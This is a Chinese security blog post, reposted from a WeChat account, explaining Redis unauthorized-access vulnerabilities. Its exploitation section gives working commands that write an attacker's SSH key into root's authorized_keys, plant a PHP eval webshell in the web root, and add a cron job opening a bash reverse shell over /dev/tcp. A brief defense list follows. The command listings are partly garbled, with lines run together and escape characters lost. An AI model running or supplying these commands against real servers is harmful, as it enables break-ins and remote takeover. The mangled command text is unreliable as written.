【逃离计划】Redis 未授权访问漏洞

admin 2023年10月13日12:07:12评论12 views字数 1247阅读4分9秒阅读模式

Redis 未授权访问漏洞原理

Redis默认情况下,会绑定端口6379,如果没有采用相关的策略,比如添加防火墙规则表面其他非信任来源IP访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证 (一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh/authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

漏洞危害

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,攻击者也可以恶意执行flushall来清空所有数据
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门程序
  • 最严重的情况,如果Redis以root身份与运行,黑客可以给root账户写入SSH公钥文件直接通过SSH登录受害服务器

漏洞产生原因

  1. 没有设置密码,或者设置密码为弱口令

  2. 没有开启防火墙

  3. 将6379端口直接暴露在公网上,允许任何人访问

  4. 将将protected-mode设置为no,把保护关掉。

  5. 用管理员身份运行redis服务


漏洞利用方式

(1)写入SSH公钥实现ssh登录

ssh-keygen -t rsa//到~/.ssh目录下,生成自己的公钥 (echo -e"n";cat id_rsa.pub;echo -e "n")>1.txt//将公钥写入一个txt文件 cat 1.txt | ./redis-cli -h ip -p 6379 -x set hack//将公钥中的内容作为值写入到hack中 ./redis-cli -h ip -p 6379  //连接redis服务 config set dir /root/.ssh    //更改redis备份路径为ssh公钥存放目录
config set dbfilename authorized_keyssave exit//设置上传公钥的备份文件名字为authorized_keys,保存,退出
ssh -i id_rsa root@ip//尝试登录

(2)写入一句话木马

config set dir /var/www/html/ config set  dbfilename shell.php set x "<?php eval($_POST['cmd']);?>" 或者:set shell "rnrn<?php @eval($_POST['cmd']);?>rnrn"save//用蚁剑连接

(3)反弹shell

redis-cli -h 192.168.217.130
//写入反弹命令set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/ip/8888 0>&1nn"config set dir /var/spool/cron/crontabs/config set dbfilename rootsave

防御方法

  1. 设置密码

  2. 设置访问ip

  3. 开启防火墙

  4. 修改服务端口


原文始发于微信公众号(Devil安全):【逃离计划】Redis 未授权访问漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月13日12:07:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【逃离计划】Redis 未授权访问漏洞http://cn-sec.com/archives/2108378.html

发表评论

匿名网友 填写信息